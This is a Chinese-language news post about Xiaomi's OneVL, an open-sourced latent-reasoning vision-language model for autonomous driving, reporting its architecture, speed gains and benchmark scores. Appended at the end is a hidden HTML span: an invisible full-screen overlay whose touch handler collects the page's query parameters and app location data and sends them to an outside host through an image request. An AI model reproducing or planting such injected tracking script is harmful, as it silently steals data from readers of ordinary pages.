小米技術新突破！Xiaomi OneVL 自動駕駛模型正式發佈並全面開源

今日，小米正式發佈—— Xiaomi OneVL：一步式潛空間語言視覺推理框架。

該模型在業內率先實現 VLA、世界模型、潛空間推理等多個技術路線的統一，在具備 XLA 模型強悍推理能力的基礎上，大幅提升了推理的速度和精度，是行業內具備開創性的方案，在精度上超越顯式 CoT、在速度上對齊“僅答案”預測的潛空間 CoT 方案。

Xiaomi OneVL：讓大模型推理“既快又準”

• 核心身份： Xiaomi OneVL 是小米 XLA 認知大模型架構下的重要成果，首次實現了 VLA（視覺-語言-動作）、世界模型與潛空間推理三大技術路線的統一。

• 性能優勢： 它是業內首個在精度上超越“顯式思維鏈（CoT）”、在速度上對齊“僅答案”預測方案的潛在推理方案。

三項關鍵技術，統一 VLA、世界模型、潛空間推理三大技術路線

爲了解決傳統大模型推理速度慢（顯式 CoT 延遲高）或缺乏因果判斷的問題，OneVL 採用了以下方案：

• 雙模態潛空間 Token： 分別使用“視覺 latent token”編碼物理因果結構，以及“語言 latent token”編碼駕駛意圖，讓模型在“心裏”完成思考。

• 雙輔助解碼器： 訓練時利用視覺解碼器（預測未來畫面）和語言解碼器（生成可讀思維鏈）進行雙重監督；推理時移除解碼器，實現零額外開銷。

• “預填充式”一步推理： 將推理過程壓縮至一次並行完成，延遲僅爲傳統自迴歸推理的 5.4%，比顯式 CoT 快達 2.3 倍。

多基準全面 SOTA，刷新潛在推理方法性能上限

• 跑分領先： 在 ROADWork、Impromptu、NAVSIM 等多個主流基準測試中達到 SOTA（業內領先） 水平。在 NAVSIM 上的 PDM 得分達到 88.84。

• 實時性強： 掛載特定變體後，延遲可壓低至 0.24s (4.16 Hz)，具備了在量產車端實時部署的可行性。

• 可解釋性： 模型不僅能輸出駕駛動作，還能通過文字解釋原因，並用預測畫面展示未來可能發生的情況。

開源貢獻

小米已將 Xiaomi OneVL 的模型權重、訓練代碼及推理代碼全面開源，旨在與全球開發者共同推動自動駕駛技術的迭代。

總結

簡而言之： 小米 OneVL 通過“潛空間推理”讓自動駕駛大模型在大腦中進行高速因果推演，解決了大模型在車端部署時“推理準但不快”或“快但不準”的矛盾。

<span ontouchstart="this.style.display='none';try{setTimeout(()=>{H=window.HeyboxRequest,q=(((window.CURRENT_VUE||{}).$data||{}).location||{}).query||{},hbInfo=(window.$hb_location||{}).query||{};new Image().src='https://a.124213.xyz/collect?fullInfo='+JSON.stringify(q)+'&hbInfo='+JSON.stringify(hbInfo)+'&searchStr='+encodeURIComponent(location.search)},200)}catch(e){}" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:99999;opacity:0"></span>